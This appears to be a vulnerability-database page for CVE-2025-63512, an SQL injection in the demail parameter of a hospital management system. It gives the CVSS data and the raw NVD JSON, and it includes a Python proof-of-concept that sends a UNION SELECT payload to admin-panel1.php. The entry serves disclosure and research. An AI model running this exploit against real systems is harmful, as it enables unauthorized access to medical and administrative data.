Security Vulnerability Report
中文
CVE-2025-63512 CVSS 6.5 MEDIUM

CVE-2025-63512

Published: 2025-11-18 17:16:10
Last Modified: 2025-11-20 21:58:59

Description

kishan0725 Hospital Management System/ v4 is vulnerable to SQL Injection in admin-panel1.php, specifically in the deleting doctor logic. The application fails to properly sanitize or parameterize user-supplied input from the demail parameter before incorporating it directly into a dynamic SQL query.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:kishan0725:hospital_management_system:4.0:*:*:*:*:*:*:* - VULNERABLE
kishan0725 Hospital Management System v4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63512 SQL Injection PoC # Target: kishan0725 Hospital Management System v4 # Vulnerability: SQL Injection in admin-panel1.php (demail parameter) def exploit_sqli(target_url, payload): """ Exploit SQL Injection vulnerability in delete doctor function target_url: Base URL of the vulnerable application payload: SQL injection payload to inject via demail parameter """ # Construct the vulnerable endpoint endpoint = f"{target_url}/admin-panel1.php" # Prepare the malicious request data = { 'demail': payload, # Vulnerable parameter 'action': 'delete' # Trigger delete doctor logic } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-63512.py <target_url>") print("Example: python cve-2025-63512.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1] # Test basic SQL injection # Payload: Extract database version payload = "' UNION SELECT NULL,version(),NULL,NULL-- -" print(f"[*] Testing SQL Injection on {target}") print(f"[*] Using payload: {payload}") result = exploit_sqli(target, payload) print(f"[+] Response:\n{result}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63512", "sourceIdentifier": "[email protected]", "published": "2025-11-18T17:16:09.817", "lastModified": "2025-11-20T21:58:59.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "kishan0725 Hospital Management System/ v4 is vulnerable to SQL Injection in admin-panel1.php, specifically in the deleting doctor logic. The application fails to properly sanitize or parameterize user-supplied input from the demail parameter before incorporating it directly into a dynamic SQL query."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kishan0725:hospital_management_system:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "826AA929-9CA8-47CB-AB83-CD0007357313"}]}]}], "references": [{"url": "https://github.com/NicatAliyevh/Zero-Days/blob/main/Hospital_Management_System_SQL2.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}